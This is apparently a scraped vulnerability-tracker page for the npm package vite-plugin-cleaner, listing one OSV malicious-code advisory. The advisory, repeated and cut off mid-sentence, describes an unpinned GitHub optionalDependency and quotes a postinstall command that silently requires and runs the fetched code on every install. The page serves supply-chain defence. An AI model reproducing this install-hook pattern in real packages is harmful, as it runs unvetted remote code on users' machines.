0vulnerabilities
- Critical0 (0.0%)
- High0 (0.0%)
- Medium0 (0.0%)
- Moderate0 (0.0%)
- Low0 (0.0%)
vite-plugin-cleaner
Ecosystem: npm
Downloads:
- 0CriticalAffects 0 versions
- 0HighAffects 0 versions
- 0MediumAffects 0 versions
- 0ModerateAffects 0 versions
- 0LowAffects 0 versions
Monthly breakdown
- 0 vulnerabilities
- Critical: 0
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (1)
Known vulnerabilities affecting vite-plugin-cleaner, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| MAL-2026-13463 | Unknown | Malicious code in vite-plugin-cleaner (npm)--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (35bc445ea196f979ad69189f4498586a09a51855b97e95dea02d01d197620237) package.json declares an optionalDependency `vite-cleaning-tools` pointing at `github:vite-plugins/vite-cleaning-tools` with no commit SHA or tag, so npm resolves and fetches whatever code is at the current HEAD of that GitHub repository at install time. The `postinstall` script then runs `node -e "try { require('vite-cleaning-tools') } catch(e) {}"`, executing that fetched code on every `npm install` while a try/catch silently swallows any |
| OSV (opens in a new tab) |
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (35bc445ea196f979ad69189f4498586a09a51855b97e95dea02d01d197620237) package.json declares an optionalDependency `vite-cleaning-tools` pointing at `github:vite-plugins/vite-cleaning-tools` with no commit SHA or tag, so npm resolves and fetches whatever code is at the current HEAD of that GitHub repository at install time. The `postinstall` script then runs `node -e "try { require('vite-cleaning-tools') } catch(e) {}"`, executing that fetched code on every `npm install` while a try/catch silently swallows any